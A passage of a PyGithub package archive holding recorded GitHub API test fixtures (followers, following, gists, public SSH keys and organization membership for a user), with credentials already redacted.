content/v3.md"},{"sha":"658e8e1ff5d4846d7aa709e516432843d39ad3d5","author":{"name":"rick","email":"technoweenie@gmail.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/658e8e1ff5d4846d7aa709e516432843d39ad3d5","distinct":true,"message":"pull request changes"}],"ref":"refs/heads/master"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/developer.github.com","id":3361136,"name":"jacquev6/developer.github.com"},"created_at":"2012-05-08T08:36:30Z","id":"1549819985","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"fcd377e377c23f87779d7940c3e894fd5844aad2","size":5,"push_id":77092135,"commits":[{"sha":"90ff8697b7039fcc1f12369b421f31319fd996df","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/90ff8697b7039fcc1f12369b421f31319fd996df","distinct":true,"message":"Simplify definition of list types"},{"sha":"c01d36a64eb6c4e69e3ac2f6ade27d793f7f2300","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c01d36a64eb6c4e69e3ac2f6ade27d793f7f2300","distinct":true,"message":"Remove underscores in keys in description, to allow hunting underscores in values"},{"sha":"07e994823e22a01d11612f141c2c0f9336ae5bf5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/07e994823e22a01d11612f141c2c0f9336ae5bf5","distinct":true,"message":"Fix testGists"},{"sha":"5be7fed4c9533dedffe03c7f908a608a8e6fe221","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5be7fed4c9533dedffe03c7f908a608a8e6fe221","distinct":true,"message":"Toto"},{"sha":"fcd377e377c23f87779d7940c3e894fd5844aad2","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/fcd377e377c23f87779d7940c3e894fd5844aad2","distinct":true,"message":"Fix testIssuesForAuthenticatedUser"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-08T07:57:57Z","id":"1549811703","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/NamedUser.testGetFollowers.txt0000644000175100001660000001034114756101563024114 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6/followers {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4958'), ('content-length', '3849'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f108ded43b2e23acc383f7eff74ee559"'), ('date', 'Sun, 20 May 2012 12:15:34 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/users/jnorthrup","gravatar_id":"29222a2dca6dd4cd33790d72ff3f5346","login":"jnorthrup","avatar_url":"https://secure.gravatar.com/avatar/29222a2dca6dd4cd33790d72ff3f5346?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":73514},{"url":"https://api.github.com/users/brugidou","gravatar_id":"43485eeefd3da3c96a7ea0c7e6b839dc","login":"brugidou","avatar_url":"https://secure.gravatar.com/avatar/43485eeefd3da3c96a7ea0c7e6b839dc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":167633},{"url":"https://api.github.com/users/regisb","gravatar_id":"43d211a7021343f2be236d2b9855b734","login":"regisb","avatar_url":"https://secure.gravatar.com/avatar/43d211a7021343f2be236d2b9855b734?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":44319},{"url":"https://api.github.com/users/walidk","gravatar_id":"e251d20766937949a109603ca37bb3be","login":"walidk","avatar_url":"https://secure.gravatar.com/avatar/e251d20766937949a109603ca37bb3be?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":734669},{"url":"https://api.github.com/users/afzalkhan","gravatar_id":"8e85398b116be75d4baeeddfc9c3cce1","login":"afzalkhan","avatar_url":"https://secure.gravatar.com/avatar/8e85398b116be75d4baeeddfc9c3cce1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1003845},{"url":"https://api.github.com/users/sdanzan","gravatar_id":"4a1e187f4f22547534a56966f6d8f942","login":"sdanzan","avatar_url":"https://secure.gravatar.com/avatar/4a1e187f4f22547534a56966f6d8f942?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1094967},{"url":"https://api.github.com/users/vineus","gravatar_id":"2d0c93649b7572036335aed380e351e5","login":"vineus","avatar_url":"https://secure.gravatar.com/avatar/2d0c93649b7572036335aed380e351e5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":467126},{"url":"https://api.github.com/users/gturri","gravatar_id":"ba064e32f068e12bfc87d178179878a5","login":"gturri","avatar_url":"https://secure.gravatar.com/avatar/ba064e32f068e12bfc87d178179878a5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":308601},{"url":"https://api.github.com/users/fjardon","gravatar_id":"cb044bd9a9f6548b9a9bae44617c97c7","login":"fjardon","avatar_url":"https://secure.gravatar.com/avatar/cb044bd9a9f6548b9a9bae44617c97c7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":121402},{"url":"https://api.github.com/users/cjuniet","gravatar_id":"197eed5292fd11c0277335c3524ccfd5","login":"cjuniet","avatar_url":"https://secure.gravatar.com/avatar/197eed5292fd11c0277335c3524ccfd5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1233553},{"url":"https://api.github.com/users/jardon-u","gravatar_id":"1b4be24fa7e62eb508ca448da99e43d4","login":"jardon-u","avatar_url":"https://secure.gravatar.com/avatar/1b4be24fa7e62eb508ca448da99e43d4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":994192},{"url":"https://api.github.com/users/kamaradclimber","gravatar_id":"0c43eba4a99f65e071e66e684cea8177","login":"kamaradclimber","avatar_url":"https://secure.gravatar.com/avatar/0c43eba4a99f65e071e66e684cea8177?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":503537},{"url":"https://api.github.com/users/L42y","gravatar_id":"4dc11d87759273f3466ab4f673bcecae","login":"L42y","avatar_url":"https://secure.gravatar.com/avatar/4dc11d87759273f3466ab4f673bcecae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":284820}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/NamedUser.testGetFollowing.txt0000644000175100001660000001657014756101563024112 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6/following {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4957'), ('content-length', '7072'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"83babfd00229c6e016e079e609e6db86"'), ('date', 'Sun, 20 May 2012 12:15:34 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/users/nvie","gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","avatar_url":"https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"nvie","id":83844},{"url":"https://api.github.com/users/schacon","gravatar_id":"9375a9529679f1b42b567a640d775e7d","avatar_url":"https://secure.gravatar.com/avatar/9375a9529679f1b42b567a640d775e7d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"schacon","id":70},{"url":"https://api.github.com/users/jamis","gravatar_id":"992fe8c19bbbc27f2b562a9f96efc03d","avatar_url":"https://secure.gravatar.com/avatar/992fe8c19bbbc27f2b562a9f96efc03d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jamis","id":1627},{"url":"https://api.github.com/users/chad","gravatar_id":"77f306388bb6ae00ac0b0401e27cdc99","avatar_url":"https://secure.gravatar.com/avatar/77f306388bb6ae00ac0b0401e27cdc99?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"chad","id":237},{"url":"https://api.github.com/users/unclebob","gravatar_id":"e47a3e81d72676bd497b1cb67f66da97","avatar_url":"https://secure.gravatar.com/avatar/e47a3e81d72676bd497b1cb67f66da97?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"unclebob","id":36901},{"url":"https://api.github.com/users/dabrahams","gravatar_id":"5b45540ae377ec54a071f313b7193a27","avatar_url":"https://secure.gravatar.com/avatar/5b45540ae377ec54a071f313b7193a27?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"dabrahams","id":44065},{"url":"https://api.github.com/users/jnorthrup","gravatar_id":"29222a2dca6dd4cd33790d72ff3f5346","avatar_url":"https://secure.gravatar.com/avatar/29222a2dca6dd4cd33790d72ff3f5346?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jnorthrup","id":73514},{"url":"https://api.github.com/users/brugidou","gravatar_id":"43485eeefd3da3c96a7ea0c7e6b839dc","avatar_url":"https://secure.gravatar.com/avatar/43485eeefd3da3c96a7ea0c7e6b839dc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"brugidou","id":167633},{"url":"https://api.github.com/users/regisb","gravatar_id":"43d211a7021343f2be236d2b9855b734","avatar_url":"https://secure.gravatar.com/avatar/43d211a7021343f2be236d2b9855b734?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"regisb","id":44319},{"url":"https://api.github.com/users/walidk","gravatar_id":"e251d20766937949a109603ca37bb3be","avatar_url":"https://secure.gravatar.com/avatar/e251d20766937949a109603ca37bb3be?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"walidk","id":734669},{"url":"https://api.github.com/users/tanzilli","gravatar_id":"5d533d287dda8809a5369b65063ef725","avatar_url":"https://secure.gravatar.com/avatar/5d533d287dda8809a5369b65063ef725?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"tanzilli","id":434112},{"url":"https://api.github.com/users/fjardon","gravatar_id":"cb044bd9a9f6548b9a9bae44617c97c7","avatar_url":"https://secure.gravatar.com/avatar/cb044bd9a9f6548b9a9bae44617c97c7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"fjardon","id":121402},{"url":"https://api.github.com/users/r3c","gravatar_id":"9240b01ceef60b45be83aee8637e7043","avatar_url":"https://secure.gravatar.com/avatar/9240b01ceef60b45be83aee8637e7043?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"r3c","id":979446},{"url":"https://api.github.com/users/sdanzan","gravatar_id":"4a1e187f4f22547534a56966f6d8f942","avatar_url":"https://secure.gravatar.com/avatar/4a1e187f4f22547534a56966f6d8f942?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"sdanzan","id":1094967},{"url":"https://api.github.com/users/vineus","gravatar_id":"2d0c93649b7572036335aed380e351e5","avatar_url":"https://secure.gravatar.com/avatar/2d0c93649b7572036335aed380e351e5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"vineus","id":467126},{"url":"https://api.github.com/users/cjuniet","gravatar_id":"197eed5292fd11c0277335c3524ccfd5","avatar_url":"https://secure.gravatar.com/avatar/197eed5292fd11c0277335c3524ccfd5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"cjuniet","id":1233553},{"url":"https://api.github.com/users/gturri","gravatar_id":"ba064e32f068e12bfc87d178179878a5","avatar_url":"https://secure.gravatar.com/avatar/ba064e32f068e12bfc87d178179878a5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gturri","id":308601},{"url":"https://api.github.com/users/ant9000","gravatar_id":"05c5d147f5decac1213f47007f6e97ed","avatar_url":"https://secure.gravatar.com/avatar/05c5d147f5decac1213f47007f6e97ed?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ant9000","id":803884},{"url":"https://api.github.com/users/asquini","gravatar_id":"ffc7ee9137c7c6859958bd21b724dde1","avatar_url":"https://secure.gravatar.com/avatar/ffc7ee9137c7c6859958bd21b724dde1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"asquini","id":1159877},{"url":"https://api.github.com/users/claudyus","gravatar_id":"694d276cdabd74c2538838f55d289143","avatar_url":"https://secure.gravatar.com/avatar/694d276cdabd74c2538838f55d289143?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"claudyus","id":509291},{"url":"https://api.github.com/users/jardon-u","gravatar_id":"1b4be24fa7e62eb508ca448da99e43d4","avatar_url":"https://secure.gravatar.com/avatar/1b4be24fa7e62eb508ca448da99e43d4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jardon-u","id":994192},{"url":"https://api.github.com/users/s-bernard","gravatar_id":"046dc82526c7cb4c60d8e70c6f4d4615","avatar_url":"https://secure.gravatar.com/avatar/046dc82526c7cb4c60d8e70c6f4d4615?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"s-bernard","id":1468889},{"url":"https://api.github.com/users/kamaradclimber","gravatar_id":"0c43eba4a99f65e071e66e684cea8177","avatar_url":"https://secure.gravatar.com/avatar/0c43eba4a99f65e071e66e684cea8177?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kamaradclimber","id":503537},{"url":"https://api.github.com/users/Lyloa","gravatar_id":"1517ed584458ccf83e03f5d77d9699d7","avatar_url":"https://secure.gravatar.com/avatar/1517ed584458ccf83e03f5d77d9699d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"Lyloa","id":1131432}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/NamedUser.testGetGists.txt0000644000175100001660000001447414756101563023244 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6/gists {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4967'), ('content-length', '3681'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5718165cec484b5936e6e08ff24eb2e5"'), ('date', 'Sat, 26 May 2012 10:09:40 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-26T10:09:33Z","url":"https://api.github.com/gists/2793179","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2793179.git","git_push_url":"git@gist.github.com:2793179.git","files":{"foobar.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2793179/73a1c7f17aa0ad5d7cbb5a8ca033ce47d3d23197/foobar.txt","size":24,"filename":"foobar.txt","language":"Text"}},"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":"Gist created by PyGithub","created_at":"2012-05-26T09:50:02Z","id":"2793179","html_url":"https://gist.github.com/2793179"},{"updated_at":"2012-04-26T13:20:53Z","url":"https://api.github.com/gists/11cb445f8197e17d303d","comments":0,"public":false,"git_pull_url":"git://gist.github.com/11cb445f8197e17d303d.git","git_push_url":"git@gist.github.com:11cb445f8197e17d303d.git","files":{"FairThreadPoolPool.cpp":{"type":"text/plain","raw_url":"https://gist.github.com/raw/11cb445f8197e17d303d/0f72c6fe50eb011eacb4e39fa613bdfe2f7a0c51/FairThreadPoolPool.cpp","size":7779,"filename":"FairThreadPoolPool.cpp","language":"C++"}},"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":"FairThreadPoolPool.cpp","created_at":"2012-04-26T13:20:53Z","id":"11cb445f8197e17d303d","html_url":"https://gist.github.com/11cb445f8197e17d303d"},{"updated_at":"2012-02-29T16:47:12Z","url":"https://api.github.com/gists/1942384","comments":0,"public":true,"git_pull_url":"git://gist.github.com/1942384.git","git_push_url":"git@gist.github.com:1942384.git","files":{"fail_github.py":{"type":"application/python","raw_url":"https://gist.github.com/raw/1942384/2fb3aa84e0efa50dc0f4c18b5df5b7b9ab27076b/fail_github.py","size":1636,"filename":"fail_github.py","language":"Python"}},"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":"How to error 500 Github API v3, as requested by Rick (GitHub Staff)","created_at":"2012-02-29T16:47:12Z","id":"1942384","html_url":"https://gist.github.com/1942384"},{"updated_at":"2012-02-28T19:44:42Z","url":"https://api.github.com/gists/dcb7de17e8a52b74541d","comments":1,"public":false,"git_pull_url":"git://gist.github.com/dcb7de17e8a52b74541d.git","git_push_url":"git@gist.github.com:dcb7de17e8a52b74541d.git","files":{"cadfael.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/dcb7de17e8a52b74541d/48ca696645682d7430d73180814434e0284796b2/cadfael.txt","size":585,"filename":"cadfael.txt","language":"Text"}},"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":"Cadfael: order of episodes in French DVD edition","created_at":"2012-02-28T19:44:42Z","id":"dcb7de17e8a52b74541d","html_url":"https://gist.github.com/dcb7de17e8a52b74541d"}] https GET api.github.com None /users/jacquev6/gists?since=2012-03-01T17%3A00%3A00Z {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4967'), ('content-length', '1811'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7518615cec183b5396a6e08ef24eb2e9"'), ('date', 'Sat, 26 May 2012 10:10:17 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-26T10:09:33Z","url":"https://api.github.com/gists/2793179","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2793179.git","git_push_url":"git@gist.github.com:2793179.git","files":{"foobar.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2793179/73a1c7f17aa0ad5d7cbb5a8ca033ce47d3d23197/foobar.txt","size":24,"filename":"foobar.txt","language":"Text"}},"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":"Gist created by PyGithub","created_at":"2012-05-26T09:50:02Z","id":"2793179","html_url":"https://gist.github.com/2793179"},{"updated_at":"2012-04-26T13:20:53Z","url":"https://api.github.com/gists/11cb445f8197e17d303d","comments":0,"public":false,"git_pull_url":"git://gist.github.com/11cb445f8197e17d303d.git","git_push_url":"git@gist.github.com:11cb445f8197e17d303d.git","files":{"FairThreadPoolPool.cpp":{"type":"text/plain","raw_url":"https://gist.github.com/raw/11cb445f8197e17d303d/0f72c6fe50eb011eacb4e39fa613bdfe2f7a0c51/FairThreadPoolPool.cpp","size":7779,"filename":"FairThreadPoolPool.cpp","language":"C++"}},"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":"FairThreadPoolPool.cpp","created_at":"2012-04-26T13:20:53Z","id":"11cb445f8197e17d303d","html_url":"https://gist.github.com/11cb445f8197e17d303d"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/NamedUser.testGetKeys.txt0000644000175100001660000000525014756101563023056 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6/keys {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4998'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '2021'), ('server', 'GitHub.com'), ('last-modified', 'Sun, 03 Feb 2013 11:54:54 GMT'), ('connection', 'keep-alive'), ('etag', '"d80dfcef46052de82fcfd18ddc6d0b9f"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sun, 03 Feb 2013 16:17:13 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBIP5wjRLjI21lmSNsdGCbB/6Oc6PwyGTr7xn0z0QgUukL8YdsbVtDlgwAXcJbjEO0fIZtXumtHtN6dXxMwzvuyLxwp+YX6itjOex8X+ARsMa3g84+d252E1eVs480s5fZZwfoKGhWD+55bpFVlNokc4OUbqSXEnK45nrEWpxNEfeYF48aW4RpJ42HF8sF1ihxLHCrPXxpx1jKXN8ZpHqzfEHCF2hjJHaIS9sUADxaINEeakWy5brbNn5qSQurs3ADNs827Pahh6tPYcbUWpk7+Lu2V3wvqOdjfQz9GIEhSD1jUDa/R7/FIt92yUShMULdQZ49GuHup7VcTaBW3bBj","id":3557894},{"key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNPDWrRtvubw0UEsoF3GMsfaRnt2Q2uj1vADkSt2Ii9QmoA4oy4Z/QJwVCYnosGhr/Y21pBYk1J0BuyYnw1NZ0CpC1dxdZLsm5YFVKy0n7DKjyiKShTXEi0rj9GAZfVY4Whv8Du4Jjy0cb4tN9OXqYJ7AI+hN0H/AAX9+vmX0C1Oph7KKyy31De4ov68mpKXQr3EPORgOJQ78yV0LxlaGMeXjYjiMKW9fT0nCKfy/WMQCNE8IJNKDoBsX10ctPQ57K8zE+O9XS8WPS2AL7B1TCJl2GebJjeRN9GHyc8o70ZLgfW4W5JzFMCGv2sYcDJjvVrymYt4/YfAl9AnzZDAN5","id":3791954},{"key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAruD8eAQGD1PcfwiycEiwij6StRlNzXKVWlu8IkgfGZq/fk7k5kNf0PwdmG7kZo4gZAi/ljcHrnyINqxtO6zxbUihxJp7T0Zyz27fT0nOrs1p+KAFg7x/qs28Dm7aSYquKztcLqlZdRSDjD/178i7ft90+sjIq9mg2zgYDiV9tGzMfwoD9Cf/OpbFNOdDHNDvuVzGKefDfrC9zY9bpxteJP/teCQXzC6eqYTL7Qz0L6NANRq0Bv9WKA1xE04E6xlSEbtIX9+VWGHH5WnD/q/PABwZqwhxwDm7/b2vd8E9TuoXiVw0rSgWh3WFfYzSLnN/kTw5zadML6egC91Gx594jw==","id":3937333},{"key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC262QAZ3rvJ7KySFEHUQYGfntylusL03x/ULKdVaSltc3Z2xvWm4zQSLHrWrdUbRN9z9kMpHWZZ2G+pvUPcY/qijbqtwg9FwBHNZoviq65LujKyQeegFXQKhGGaesDeKKC+jTXbg2NJY6+u5HLe4Je8q45VVHyAfltcuSE2QoCim50toyGUGWhcIDz/2mQYpy1wtkehQA6TeC55UE00TSU06E9glnqVi8hjDlsA7DABqyctG/sjP79OwUMBppiXYX2B0RJMtRHZ+5chsHx8oqavux1oG/tdTw9ZSAfKUHfDrN97x9PB38F3j8s60S2udRwLEYuErlF1JizTF4XOZhD","id":4051357},{"key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK+jbASXi+PhE7GpBuKEH0qC+02J8L20A9CscleT5GUXKpZSbvxmsU0XLz95kYIBVUfrmTdn3PBn6FMK2OTWpxF9gt9DKclidkv2xfA1RkqnNVpMvZbzBMDmJcWo/lae+arQVJ26O1pbZjPH56c0cYvhblsoZnI1kCFatiJ3MOUeD2zCDylsfQ8zgLKA5yj0HRC3n5cPe9nIVWXnJQ1two4GHmxE7zue+hikYB7PQvaldGKTmHX04ODyZpyFOd86cvjiftN3G39POr2vh52jBwj4oLAiF89SC3QxQes8+zF00jOmnFUlONup0nLvJg4t/ij0M2kr5cqca7pMP+QfZp","id":4051492}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/NamedUser.testGetOrganizationMembership.txt0000644000175100001660000001006014756101563026616 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6/orgs {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4949'), ('content-length', '262'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"82deae94305d8c551e4874e06f6efd48"'), ('date', 'Tue, 29 Oct 2019 06:37:43 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/orgs/BeaverSoftware","login":"BeaverSoftware","id":1424031}] https GET api.github.com None /orgs/BeaverSoftware/memberships/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'admin:org, read:org, repo, user, write:org'), ('etag', 'W/"a48fb9108de1ab30ca11a7d7b676b7d0"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4997'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '965A:5675:180111:1B9D26:5DB7F14D'), ('date', 'Tue, 29 Oct 2019 07:59:15 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1572339549')] 